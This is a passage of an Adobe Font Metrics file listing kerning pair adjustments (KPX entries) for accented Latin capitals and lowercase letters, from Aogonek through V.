KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -70
KPX Aogonek W -50
KPX Aogonek Y -100
KPX Aogonek Yacute -100
KPX Aogonek Ydieresis -100
KPX Aogonek u -30
KPX Aogonek uacute -30
KPX Aogonek ucircumflex -30
KPX Aogonek udieresis -30
KPX Aogonek ugrave -30
KPX Aogonek uhungarumlaut -30
KPX Aogonek umacron -30
KPX Aogonek uogonek -30
KPX Aogonek uring -30
KPX Aogonek v -40
KPX Aogonek w -40
KPX Aogonek y -40
KPX Aogonek yacute -40
KPX Aogonek ydieresis -40
KPX Aring C -30
KPX Aring Cacute -30
KPX Aring Ccaron -30
KPX Aring Ccedilla -30
KPX Aring G -30
KPX Aring Gbreve -30
KPX Aring Gcommaaccent -30
KPX Aring O -30
KPX Aring Oacute -30
KPX Aring Ocircumflex -30
KPX Aring Odieresis -30
KPX Aring Ograve -30
KPX Aring Ohungarumlaut -30
KPX Aring Omacron -30
KPX Aring Oslash -30
KPX Aring Otilde -30
KPX Aring Q -30
KPX Aring T -120
KPX Aring Tcaron -120
KPX Aring Tcommaaccent -120
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -70
KPX Aring W -50
KPX Aring Y -100
KPX Aring Yacute -100
KPX Aring Ydieresis -100
KPX Aring u -30
KPX Aring uacute -30
KPX Aring ucircumflex -30
KPX Aring udieresis -30
KPX Aring ugrave -30
KPX Aring uhungarumlaut -30
KPX Aring umacron -30
KPX Aring uogonek -30
KPX Aring uring -30
KPX Aring v -40
KPX Aring w -40
KPX Aring y -40
KPX Aring yacute -40
KPX Aring ydieresis -40
KPX Atilde C -30
KPX Atilde Cacute -30
KPX Atilde Ccaron -30
KPX Atilde Ccedilla -30
KPX Atilde G -30
KPX Atilde Gbreve -30
KPX Atilde Gcommaaccent -30
KPX Atilde O -30
KPX Atilde Oacute -30
KPX Atilde Ocircumflex -30
KPX Atilde Odieresis -30
KPX Atilde Ograve -30
KPX Atilde Ohungarumlaut -30
KPX Atilde Omacron -30
KPX Atilde Oslash -30
KPX Atilde Otilde -30
KPX Atilde Q -30
KPX Atilde T -120
KPX Atilde Tcaron -120
KPX Atilde Tcommaaccent -120
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -70
KPX Atilde W -50
KPX Atilde Y -100
KPX Atilde Yacute -100
KPX Atilde Ydieresis -100
KPX Atilde u -30
KPX Atilde uacute -30
KPX Atilde ucircumflex -30
KPX Atilde udieresis -30
KPX Atilde ugrave -30
KPX Atilde uhungarumlaut -30
KPX Atilde umacron -30
KPX Atilde uogonek -30
KPX Atilde uring -30
KPX Atilde v -40
KPX Atilde w -40
KPX Atilde y -40
KPX Atilde yacute -40
KPX Atilde ydieresis -40
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX B comma -20
KPX B period -20
KPX C comma -30
KPX C period -30
KPX Cacute comma -30
KPX Cacute period -30
KPX Ccaron comma -30
KPX Ccaron period -30
KPX Ccedilla comma -30
KPX Ccedilla period -30
KPX D A -40
KPX D Aacute -40
KPX D Abreve -40
KPX D Acircumflex -40
KPX D Adieresis -40
KPX D Agrave -40
KPX D Amacron -40
KPX D Aogonek -40
KPX D Aring -40
KPX D Atilde -40
KPX D V -70
KPX D W -40
KPX D Y -90
KPX D Yacute -90
KPX D Ydieresis -90
KPX D comma -70
KPX D period -70
KPX Dcaron A -40
KPX Dcaron Aacute -40
KPX Dcaron Abreve -40
KPX Dcaron Acircumflex -40
KPX Dcaron Adieresis -40
KPX Dcaron Agrave -40
KPX Dcaron Amacron -40
KPX Dcaron Aogonek -40
KPX Dcaron Aring -40
KPX Dcaron Atilde -40
KPX Dcaron V -70
KPX Dcaron W -40
KPX Dcaron Y -90
KPX Dcaron Yacute -90
KPX Dcaron Ydieresis -90
KPX Dcaron comma -70
KPX Dcaron period -70
KPX Dcroat A -40
KPX Dcroat Aacute -40
KPX Dcroat Abreve -40
KPX Dcroat Acircumflex -40
KPX Dcroat Adieresis -40
KPX Dcroat Agrave -40
KPX Dcroat Amacron -40
KPX Dcroat Aogonek -40
KPX Dcroat Aring -40
KPX Dcroat Atilde -40
KPX Dcroat V -70
KPX Dcroat W -40
KPX Dcroat Y -90
KPX Dcroat Yacute -90
KPX Dcroat Ydieresis -90
KPX Dcroat comma -70
KPX Dcroat period -70
KPX F A -80
KPX F Aacute -80
KPX F Abreve -80
KPX F Acircumflex -80
KPX F Adieresis -80
KPX F Agrave -80
KPX F Amacron -80
KPX F Aogonek -80
KPX F Aring -80
KPX F Atilde -80
KPX F a -50
KPX F aacute -50
KPX F abreve -50
KPX F acircumflex -50
KPX F adieresis -50
KPX F agrave -50
KPX F amacron -50
KPX F aogonek -50
KPX F aring -50
KPX F atilde -50
KPX F comma -150
KPX F e -30
KPX F eacute -30
KPX F ecaron -30
KPX F ecircumflex -30
KPX F edieresis -30
KPX F edotaccent -30
KPX F egrave -30
KPX F emacron -30
KPX F eogonek -30
KPX F o -30
KPX F oacute -30
KPX F ocircumflex -30
KPX F odieresis -30
KPX F ograve -30
KPX F ohungarumlaut -30
KPX F omacron -30
KPX F oslash -30
KPX F otilde -30
KPX F period -150
KPX F r -45
KPX F racute -45
KPX F rcaron -45
KPX F rcommaaccent -45
KPX J A -20
KPX J Aacute -20
KPX J Abreve -20
KPX J Acircumflex -20
KPX J Adieresis -20
KPX J Agrave -20
KPX J Amacron -20
KPX J Aogonek -20
KPX J Aring -20
KPX J Atilde -20
KPX J a -20
KPX J aacute -20
KPX J abreve -20
KPX J acircumflex -20
KPX J adieresis -20
KPX J agrave -20
KPX J amacron -20
KPX J aogonek -20
KPX J aring -20
KPX J atilde -20
KPX J comma -30
KPX J period -30
KPX J u -20
KPX J uacute -20
KPX J ucircumflex -20
KPX J udieresis -20
KPX J ugrave -20
KPX J uhungarumlaut -20
KPX J umacron -20
KPX J uogonek -20
KPX J uring -20
KPX K O -50
KPX K Oacute -50
KPX K Ocircumflex -50
KPX K Odieresis -50
KPX K Ograve -50
KPX K Ohungarumlaut -50
KPX K Omacron -50
KPX K Oslash -50
KPX K Otilde -50
KPX K e -40
KPX K eacute -40
KPX K ecaron -40
KPX K ecircumflex -40
KPX K edieresis -40
KPX K edotaccent -40
KPX K egrave -40
KPX K emacron -40
KPX K eogonek -40
KPX K o -40
KPX K oacute -40
KPX K ocircumflex -40
KPX K odieresis -40
KPX K ograve -40
KPX K ohungarumlaut -40
KPX K omacron -40
KPX K oslash -40
KPX K otilde -40
KPX K u -30
KPX K uacute -30
KPX K ucircumflex -30
KPX K udieresis -30
KPX K ugrave -30
KPX K uhungarumlaut -30
KPX K umacron -30
KPX K uogonek -30
KPX K uring -30
KPX K y -50
KPX K yacute -50
KPX K ydieresis -50
KPX Kcommaaccent O -50
KPX Kcommaaccent Oacute -50
KPX Kcommaaccent Ocircumflex -50
KPX Kcommaaccent Odieresis -50
KPX Kcommaaccent Ograve -50
KPX Kcommaaccent Ohungarumlaut -50
KPX Kcommaaccent Omacron -50
KPX Kcommaaccent Oslash -50
KPX Kcommaaccent Otilde -50
KPX Kcommaaccent e -40
KPX Kcommaaccent eacute -40
KPX Kcommaaccent ecaron -40
KPX Kcommaaccent ecircumflex -40
KPX Kcommaaccent edieresis -40
KPX Kcommaaccent edotaccent -40
KPX Kcommaaccent egrave -40
KPX Kcommaaccent emacron -40
KPX Kcommaaccent eogonek -40
KPX Kcommaaccent o -40
KPX Kcommaaccent oacute -40
KPX Kcommaaccent ocircumflex -40
KPX Kcommaaccent odieresis -40
KPX Kcommaaccent ograve -40
KPX Kcommaaccent ohungarumlaut -40
KPX Kcommaaccent omacron -40
KPX Kcommaaccent oslash -40
KPX Kcommaaccent otilde -40
KPX Kcommaaccent u -30
KPX Kcommaaccent uacute -30
KPX Kcommaaccent ucircumflex -30
KPX Kcommaaccent udieresis -30
KPX Kcommaaccent ugrave -30
KPX Kcommaaccent uhungarumlaut -30
KPX Kcommaaccent umacron -30
KPX Kcommaaccent uogonek -30
KPX Kcommaaccent uring -30
KPX Kcommaaccent y -50
KPX Kcommaaccent yacute -50
KPX Kcommaaccent ydieresis -50
KPX L T -110
KPX L Tcaron -110
KPX L Tcommaaccent -110
KPX L V -110
KPX L W -70
KPX L Y -140
KPX L Yacute -140
KPX L Ydieresis -140
KPX L quotedblright -140
KPX L quoteright -160
KPX L y -30
KPX L yacute -30
KPX L ydieresis -30
KPX Lacute T -110
KPX Lacute Tcaron -110
KPX Lacute Tcommaaccent -110
KPX Lacute V -110
KPX Lacute W -70
KPX Lacute Y -140
KPX Lacute Yacute -140
KPX Lacute Ydieresis -140
KPX Lacute quotedblright -140
KPX Lacute quoteright -160
KPX Lacute y -30
KPX Lacute yacute -30
KPX Lacute ydieresis -30
KPX Lcaron T -110
KPX Lcaron Tcaron -110
KPX Lcaron Tcommaaccent -110
KPX Lcaron V -110
KPX Lcaron W -70
KPX Lcaron Y -140
KPX Lcaron Yacute -140
KPX Lcaron Ydieresis -140
KPX Lcaron quotedblright -140
KPX Lcaron quoteright -160
KPX Lcaron y -30
KPX Lcaron yacute -30
KPX Lcaron ydieresis -30
KPX Lcommaaccent T -110
KPX Lcommaaccent Tcaron -110
KPX Lcommaaccent Tcommaaccent -110
KPX Lcommaaccent V -110
KPX Lcommaaccent W -70
KPX Lcommaaccent Y -140
KPX Lcommaaccent Yacute -140
KPX Lcommaaccent Ydieresis -140
KPX Lcommaaccent quotedblright -140
KPX Lcommaaccent quoteright -160
KPX Lcommaaccent y -30
KPX Lcommaaccent yacute -30
KPX Lcommaaccent ydieresis -30
KPX Lslash T -110
KPX Lslash Tcaron -110
KPX Lslash Tcommaaccent -110
KPX Lslash V -110
KPX Lslash W -70
KPX Lslash Y -140
KPX Lslash Yacute -140
KPX Lslash Ydieresis -140
KPX Lslash quotedblright -140
KPX Lslash quoteright -160
KPX Lslash y -30
KPX Lslash yacute -30
KPX Lslash ydieresis -30
KPX O A -20
KPX O Aacute -20
KPX O Abreve -20
KPX O Acircumflex -20
KPX O Adieresis -20
KPX O Agrave -20
KPX O Amacron -20
KPX O Aogonek -20
KPX O Aring -20
KPX O Atilde -20
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -30
KPX O X -60
KPX O Y -70
KPX O Yacute -70
KPX O Ydieresis -70
KPX O comma -40
KPX O period -40
KPX Oacute A -20
KPX Oacute Aacute -20
KPX Oacute Abreve -20
KPX Oacute Acircumflex -20
KPX Oacute Adieresis -20
KPX Oacute Agrave -20
KPX Oacute Amacron -20
KPX Oacute Aogonek -20
KPX Oacute Aring -20
KPX Oacute Atilde -20
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -30
KPX Oacute X -60
KPX Oacute Y -70
KPX Oacute Yacute -70
KPX Oacute Ydieresis -70
KPX Oacute comma -40
KPX Oacute period -40
KPX Ocircumflex A -20
KPX Ocircumflex Aacute -20
KPX Ocircumflex Abreve -20
KPX Ocircumflex Acircumflex -20
KPX Ocircumflex Adieresis -20
KPX Ocircumflex Agrave -20
KPX Ocircumflex Amacron -20
KPX Ocircumflex Aogonek -20
KPX Ocircumflex Aring -20
KPX Ocircumflex Atilde -20
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -30
KPX Ocircumflex X -60
KPX Ocircumflex Y -70
KPX Ocircumflex Yacute -70
KPX Ocircumflex Ydieresis -70
KPX Ocircumflex comma -40
KPX Ocircumflex period -40
KPX Odieresis A -20
KPX Odieresis Aacute -20
KPX Odieresis Abreve -20
KPX Odieresis Acircumflex -20
KPX Odieresis Adieresis -20
KPX Odieresis Agrave -20
KPX Odieresis Amacron -20
KPX Odieresis Aogonek -20
KPX Odieresis Aring -20
KPX Odieresis Atilde -20
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -30
KPX Odieresis X -60
KPX Odieresis Y -70
KPX Odieresis Yacute -70
KPX Odieresis Ydieresis -70
KPX Odieresis comma -40
KPX Odieresis period -40
KPX Ograve A -20
KPX Ograve Aacute -20
KPX Ograve Abreve -20
KPX Ograve Acircumflex -20
KPX Ograve Adieresis -20
KPX Ograve Agrave -20
KPX Ograve Amacron -20
KPX Ograve Aogonek -20
KPX Ograve Aring -20
KPX Ograve Atilde -20
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -30
KPX Ograve X -60
KPX Ograve Y -70
KPX Ograve Yacute -70
KPX Ograve Ydieresis -70
KPX Ograve comma -40
KPX Ograve period -40
KPX Ohungarumlaut A -20
KPX Ohungarumlaut Aacute -20
KPX Ohungarumlaut Abreve -20
KPX Ohungarumlaut Acircumflex -20
KPX Ohungarumlaut Adieresis -20
KPX Ohungarumlaut Agrave -20
KPX Ohungarumlaut Amacron -20
KPX Ohungarumlaut Aogonek -20
KPX Ohungarumlaut Aring -20
KPX Ohungarumlaut Atilde -20
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -30
KPX Ohungarumlaut X -60
KPX Ohungarumlaut Y -70
KPX Ohungarumlaut Yacute -70
KPX Ohungarumlaut Ydieresis -70
KPX Ohungarumlaut comma -40
KPX Ohungarumlaut period -40
KPX Omacron A -20
KPX Omacron Aacute -20
KPX Omacron Abreve -20
KPX Omacron Acircumflex -20
KPX Omacron Adieresis -20
KPX Omacron Agrave -20
KPX Omacron Amacron -20
KPX Omacron Aogonek -20
KPX Omacron Aring -20
KPX Omacron Atilde -20
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -30
KPX Omacron X -60
KPX Omacron Y -70
KPX Omacron Yacute -70
KPX Omacron Ydieresis -70
KPX Omacron comma -40
KPX Omacron period -40
KPX Oslash A -20
KPX Oslash Aacute -20
KPX Oslash Abreve -20
KPX Oslash Acircumflex -20
KPX Oslash Adieresis -20
KPX Oslash Agrave -20
KPX Oslash Amacron -20
KPX Oslash Aogonek -20
KPX Oslash Aring -20
KPX Oslash Atilde -20
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -30
KPX Oslash X -60
KPX Oslash Y -70
KPX Oslash Yacute -70
KPX Oslash Ydieresis -70
KPX Oslash comma -40
KPX Oslash period -40
KPX Otilde A -20
KPX Otilde Aacute -20
KPX Otilde Abreve -20
KPX Otilde Acircumflex -20
KPX Otilde Adieresis -20
KPX Otilde Agrave -20
KPX Otilde Amacron -20
KPX Otilde Aogonek -20
KPX Otilde Aring -20
KPX Otilde Atilde -20
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -30
KPX Otilde X -60
KPX Otilde Y -70
KPX Otilde Yacute -70
KPX Otilde Ydieresis -70
KPX Otilde comma -40
KPX Otilde period -40
KPX P A -120
KPX P Aacute -120
KPX P Abreve -120
KPX P Acircumflex -120
KPX P Adieresis -120
KPX P Agrave -120
KPX P Amacron -120
KPX P Aogonek -120
KPX P Aring -120
KPX P Atilde -120
KPX P a -40
KPX P aacute -40
KPX P abreve -40
KPX P acircumflex -40
KPX P adieresis -40
KPX P agrave -40
KPX P amacron -40
KPX P aogonek -40
KPX P aring -40
KPX P atilde -40
KPX P comma -180
KPX P e -50
KPX P eacute -50
KPX P ecaron -50
KPX P ecircumflex -50
KPX P edieresis -50
KPX P edotaccent -50
KPX P egrave -50
KPX P emacron -50
KPX P eogonek -50
KPX P o -50
KPX P oacute -50
KPX P ocircumflex -50
KPX P odieresis -50
KPX P ograve -50
KPX P ohungarumlaut -50
KPX P omacron -50
KPX P oslash -50
KPX P otilde -50
KPX P period -180
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX R O -20
KPX R Oacute -20
KPX R Ocircumflex -20
KPX R Odieresis -20
KPX R Ograve -20
KPX R Ohungarumlaut -20
KPX R Omacron -20
KPX R Oslash -20
KPX R Otilde -20
KPX R T -30
KPX R Tcaron -30
KPX R Tcommaaccent -30
KPX R U -40
KPX R Uacute -40
KPX R Ucircumflex -40
KPX R Udieresis -40
KPX R Ugrave -40
KPX R Uhungarumlaut -40
KPX R Umacron -40
KPX R Uogonek -40
KPX R Uring -40
KPX R V -50
KPX R W -30
KPX R Y -50
KPX R Yacute -50
KPX R Ydieresis -50
KPX Racute O -20
KPX Racute Oacute -20
KPX Racute Ocircumflex -20
KPX Racute Odieresis -20
KPX Racute Ograve -20
KPX Racute Ohungarumlaut -20
KPX Racute Omacron -20
KPX Racute Oslash -20
KPX Racute Otilde -20
KPX Racute T -30
KPX Racute Tcaron -30
KPX Racute Tcommaaccent -30
KPX Racute U -40
KPX Racute Uacute -40
KPX Racute Ucircumflex -40
KPX Racute Udieresis -40
KPX Racute Ugrave -40
KPX Racute Uhungarumlaut -40
KPX Racute Umacron -40
KPX Racute Uogonek -40
KPX Racute Uring -40
KPX Racute V -50
KPX Racute W -30
KPX Racute Y -50
KPX Racute Yacute -50
KPX Racute Ydieresis -50
KPX Rcaron O -20
KPX Rcaron Oacute -20
KPX Rcaron Ocircumflex -20
KPX Rcaron Odieresis -20
KPX Rcaron Ograve -20
KPX Rcaron Ohungarumlaut -20
KPX Rcaron Omacron -20
KPX Rcaron Oslash -20
KPX Rcaron Otilde -20
KPX Rcaron T -30
KPX Rcaron Tcaron -30
KPX Rcaron Tcommaaccent -30
KPX Rcaron U -40
KPX Rcaron Uacute -40
KPX Rcaron Ucircumflex -40
KPX Rcaron Udieresis -40
KPX Rcaron Ugrave -40
KPX Rcaron Uhungarumlaut -40
KPX Rcaron Umacron -40
KPX Rcaron Uogonek -40
KPX Rcaron Uring -40
KPX Rcaron V -50
KPX Rcaron W -30
KPX Rcaron Y -50
KPX Rcaron Yacute -50
KPX Rcaron Ydieresis -50
KPX Rcommaaccent O -20
KPX Rcommaaccent Oacute -20
KPX Rcommaaccent Ocircumflex -20
KPX Rcommaaccent Odieresis -20
KPX Rcommaaccent Ograve -20
KPX Rcommaaccent Ohungarumlaut -20
KPX Rcommaaccent Omacron -20
KPX Rcommaaccent Oslash -20
KPX Rcommaaccent Otilde -20
KPX Rcommaaccent T -30
KPX Rcommaaccent Tcaron -30
KPX Rcommaaccent Tcommaaccent -30
KPX Rcommaaccent U -40
KPX Rcommaaccent Uacute -40
KPX Rcommaaccent Ucircumflex -40
KPX Rcommaaccent Udieresis -40
KPX Rcommaaccent Ugrave -40
KPX Rcommaaccent Uhungarumlaut -40
KPX Rcommaaccent Umacron -40
KPX Rcommaaccent Uogonek -40
KPX Rcommaaccent Uring -40
KPX Rcommaaccent V -50
KPX Rcommaaccent W -30
KPX Rcommaaccent Y -50
KPX Rcommaaccent Yacute -50
KPX Rcommaaccent Ydieresis -50
KPX S comma -20
KPX S period -20
KPX Sacute comma -20
KPX Sacute period -20
KPX Scaron comma -20
KPX Scaron period -20
KPX Scedilla comma -20
KPX Scedilla period -20
KPX Scommaaccent comma -20
KPX Scommaaccent period -20
KPX T A -120
KPX T Aacute -120
KPX T Abreve -120
KPX T Acircumflex -120
KPX T Adieresis -120
KPX T Agrave -120
KPX T Amacron -120
KPX T Aogonek -120
KPX T Aring -120
KPX T Atilde -120
KPX T O -40
KPX T Oacute -40
KPX T Ocircumflex -40
KPX T Odieresis -40
KPX T Ograve -40
KPX T Ohungarumlaut -40
KPX T Omacron -40
KPX T Oslash -40
KPX T Otilde -40
KPX T a -120
KPX T aacute -120
KPX T abreve -60
KPX T acircumflex -120
KPX T adieresis -120
KPX T agrave -120
KPX T amacron -60
KPX T aogonek -120
KPX T aring -120
KPX T atilde -60
KPX T colon -20
KPX T comma -120
KPX T e -120
KPX T eacute -120
KPX T ecaron -120
KPX T ecircumflex -120
KPX T edieresis -120
KPX T edotaccent -120
KPX T egrave -60
KPX T emacron -60
KPX T eogonek -120
KPX T hyphen -140
KPX T o -120
KPX T oacute -120
KPX T ocircumflex -120
KPX T odieresis -120
KPX T ograve -120
KPX T ohungarumlaut -120
KPX T omacron -60
KPX T oslash -120
KPX T otilde -60
KPX T period -120
KPX T r -120
KPX T racute -120
KPX T rcaron -120
KPX T rcommaaccent -120
KPX T semicolon -20
KPX T u -120
KPX T uacute -120
KPX T ucircumflex -120
KPX T udieresis -120
KPX T ugrave -120
KPX T uhungarumlaut -120
KPX T umacron -60
KPX T uogonek -120
KPX T uring -120
KPX T w -120
KPX T y -120
KPX T yacute -120
KPX T ydieresis -60
KPX Tcaron A -120
KPX Tcaron Aacute -120
KPX Tcaron Abreve -120
KPX Tcaron Acircumflex -120
KPX Tcaron Adieresis -120
KPX Tcaron Agrave -120
KPX Tcaron Amacron -120
KPX Tcaron Aogonek -120
KPX Tcaron Aring -120
KPX Tcaron Atilde -120
KPX Tcaron O -40
KPX Tcaron Oacute -40
KPX Tcaron Ocircumflex -40
KPX Tcaron Odieresis -40
KPX Tcaron Ograve -40
KPX Tcaron Ohungarumlaut -40
KPX Tcaron Omacron -40
KPX Tcaron Oslash -40
KPX Tcaron Otilde -40
KPX Tcaron a -120
KPX Tcaron aacute -120
KPX Tcaron abreve -60
KPX Tcaron acircumflex -120
KPX Tcaron adieresis -120
KPX Tcaron agrave -120
KPX Tcaron amacron -60
KPX Tcaron aogonek -120
KPX Tcaron aring -120
KPX Tcaron atilde -60
KPX Tcaron colon -20
KPX Tcaron comma -120
KPX Tcaron e -120
KPX Tcaron eacute -120
KPX Tcaron ecaron -120
KPX Tcaron ecircumflex -120
KPX Tcaron edieresis -120
KPX Tcaron edotaccent -120
KPX Tcaron egrave -60
KPX Tcaron emacron -60
KPX Tcaron eogonek -120
KPX Tcaron hyphen -140
KPX Tcaron o -120
KPX Tcaron oacute -120
KPX Tcaron ocircumflex -120
KPX Tcaron odieresis -120
KPX Tcaron ograve -120
KPX Tcaron ohungarumlaut -120
KPX Tcaron omacron -60
KPX Tcaron oslash -120
KPX Tcaron otilde -60
KPX Tcaron period -120
KPX Tcaron r -120
KPX Tcaron racute -120
KPX Tcaron rcaron -120
KPX Tcaron rcommaaccent -120
KPX Tcaron semicolon -20
KPX Tcaron u -120
KPX Tcaron uacute -120
KPX Tcaron ucircumflex -120
KPX Tcaron udieresis -120
KPX Tcaron ugrave -120
KPX Tcaron uhungarumlaut -120
KPX Tcaron umacron -60
KPX Tcaron uogonek -120
KPX Tcaron uring -120
KPX Tcaron w -120
KPX Tcaron y -120
KPX Tcaron yacute -120
KPX Tcaron ydieresis -60
KPX Tcommaaccent A -120
KPX Tcommaaccent Aacute -120
KPX Tcommaaccent Abreve -120
KPX Tcommaaccent Acircumflex -120
KPX Tcommaaccent Adieresis -120
KPX Tcommaaccent Agrave -120
KPX Tcommaaccent Amacron -120
KPX Tcommaaccent Aogonek -120
KPX Tcommaaccent Aring -120
KPX Tcommaaccent Atilde -120
KPX Tcommaaccent O -40
KPX Tcommaaccent Oacute -40
KPX Tcommaaccent Ocircumflex -40
KPX Tcommaaccent Odieresis -40
KPX Tcommaaccent Ograve -40
KPX Tcommaaccent Ohungarumlaut -40
KPX Tcommaaccent Omacron -40
KPX Tcommaaccent Oslash -40
KPX Tcommaaccent Otilde -40
KPX Tcommaaccent a -120
KPX Tcommaaccent aacute -120
KPX Tcommaaccent abreve -60
KPX Tcommaaccent acircumflex -120
KPX Tcommaaccent adieresis -120
KPX Tcommaaccent agrave -120
KPX Tcommaaccent amacron -60
KPX Tcommaaccent aogonek -120
KPX Tcommaaccent aring -120
KPX Tcommaaccent atilde -60
KPX Tcommaaccent colon -20
KPX Tcommaaccent comma -120
KPX Tcommaaccent e -120
KPX Tcommaaccent eacute -120
KPX Tcommaaccent ecaron -120
KPX Tcommaaccent ecircumflex -120
KPX Tcommaaccent edieresis -120
KPX Tcommaaccent edotaccent -120
KPX Tcommaaccent egrave -60
KPX Tcommaaccent emacron -60
KPX Tcommaaccent eogonek -120
KPX Tcommaaccent hyphen -140
KPX Tcommaaccent o -120
KPX Tcommaaccent oacute -120
KPX Tcommaaccent ocircumflex -120
KPX Tcommaaccent odieresis -120
KPX Tcommaaccent ograve -120
KPX Tcommaaccent ohungarumlaut -120
KPX Tcommaaccent omacron -60
KPX Tcommaaccent oslash -120
KPX Tcommaaccent otilde -60
KPX Tcommaaccent period -120
KPX Tcommaaccent r -120
KPX Tcommaaccent racute -120
KPX Tcommaaccent rcaron -120
KPX Tcommaaccent rcommaaccent -120
KPX Tcommaaccent semicolon -20
KPX Tcommaaccent u -120
KPX Tcommaaccent uacute -120
KPX Tcommaaccent ucircumflex -120
KPX Tcommaaccent udieresis -120
KPX Tcommaaccent ugrave -120
KPX Tcommaaccent uhungarumlaut -120
KPX Tcommaaccent umacron -60
KPX Tcommaaccent uogonek -120
KPX Tcommaaccent uring -120
KPX Tcommaaccent w -120
KPX Tcommaaccent y -120
KPX Tcommaaccent yacute -120
KPX Tcommaaccent ydieresis -60
KPX U A -40
KPX U Aacute -40
KPX U Abreve -40
KPX U Acircumflex -40
KPX U Adieresis -40
KPX U Agrave -40
KPX U Amacron -40
KPX U Aogonek -40
KPX U Aring -40
KPX U Atilde -40
KPX U comma -40
KPX U period -40
KPX Uacute A -40
KPX Uacute Aacute -40
KPX Uacute Abreve -40
KPX Uacute Acircumflex -40
KPX Uacute Adieresis -40
KPX Uacute Agrave -40
KPX Uacute Amacron -40
KPX Uacute Aogonek -40
KPX Uacute Aring -40
KPX Uacute Atilde -40
KPX Uacute comma -40
KPX Uacute period -40
KPX Ucircumflex A -40
KPX Ucircumflex Aacute -40
KPX Ucircumflex Abreve -40
KPX Ucircumflex Acircumflex -40
KPX Ucircumflex Adieresis -40
KPX Ucircumflex Agrave -40
KPX Ucircumflex Amacron -40
KPX Ucircumflex Aogonek -40
KPX Ucircumflex Aring -40
KPX Ucircumflex Atilde -40
KPX Ucircumflex comma -40
KPX Ucircumflex period -40
KPX Udieresis A -40
KPX Udieresis Aacute -40
KPX Udieresis Abreve -40
KPX Udieresis Acircumflex -40
KPX Udieresis Adieresis -40
KPX Udieresis Agrave -40
KPX Udieresis Amacron -40
KPX Udieresis Aogonek -40
KPX Udieresis Aring -40
KPX Udieresis Atilde -40
KPX Udieresis comma -40
KPX Udieresis period -40
KPX Ugrave A -40
KPX Ugrave Aacute -40
KPX Ugrave Abreve -40
KPX Ugrave Acircumflex -40
KPX Ugrave Adieresis -40
KPX Ugrave Agrave -40
KPX Ugrave Amacron -40
KPX Ugrave Aogonek -40
KPX Ugrave Aring -40
KPX Ugrave Atilde -40
KPX Ugrave comma -40
KPX Ugrave period -40
KPX Uhungarumlaut A -40
KPX Uhungarumlaut Aacute -40
KPX Uhungarumlaut Abreve -40
KPX Uhungarumlaut Acircumflex -40
KPX Uhungarumlaut Adieresis -40
KPX Uhungarumlaut Agrave -40
KPX Uhungarumlaut Amacron -40
KPX Uhungarumlaut Aogonek -40
KPX Uhungarumlaut Aring -40
KPX Uhungarumlaut Atilde -40
KPX Uhungarumlaut comma -40
KPX Uhungarumlaut period -40
KPX Umacron A -40
KPX Umacron Aacute -40
KPX Umacron Abreve -40
KPX Umacron Acircumflex -40
KPX Umacron Adieresis -40
KPX Umacron Agrave -40
KPX Umacron Amacron -40
KPX Umacron Aogonek -40
KPX Umacron Aring -40
KPX Umacron Atilde -40
KPX Umacron comma -40
KPX Umacron period -40
KPX Uogonek A -40
KPX Uogonek Aacute -40
KPX Uogonek Abreve -40
KPX Uogonek Acircumflex -40
KPX Uogonek Adieresis -40
KPX Uogonek Agrave -40
KPX Uogonek Amacron -40
KPX Uogonek Aogonek -40
KPX Uogonek Aring -40
KPX Uogonek Atilde -40
KPX Uogonek comma -40
KPX Uogonek period -40
KPX Uring A -40
KPX Uring Aacute -40
KPX Uring Abreve -40
KPX Uring Acircumflex -40
KPX Uring Adieresis -40
KPX Uring Agrave -40
KPX Uring Amacron -40
KPX Uring Aogonek -40
KPX Uring Aring -40
KPX Uring Atilde -40
KPX Uring comma -40
KPX Uring period -40
KPX V A -80
KPX V Aacute -80
KPX V Abreve -80
KPX V Acircumflex -80
KPX V Adieresis -80
KPX V Agrave -80
KPX V Amacron -80
KPX V Aogonek -80
KPX V Aring -80
KPX V Atilde -80
KPX V G -40
KPX V Gbreve -40
KPX V Gcommaaccent -40
KPX V O -40
KPX V Oacute -40
KPX V Ocircumflex -40
KPX V Odieresis -40
KPX V Ograve -40
KPX V Ohungarumlaut -40
KPX V Omacron -40
KPX V Oslash -40
KPX V Otilde -40
KPX V a -70
KPX V aacute -70
KPX V abreve -70
KPX V acircumflex -70
KPX V adieresis -70
KPX V agrave -70
KPX V amacron -70
KPX V aogonek -70
KPX V aring -70
KPX V atilde -70
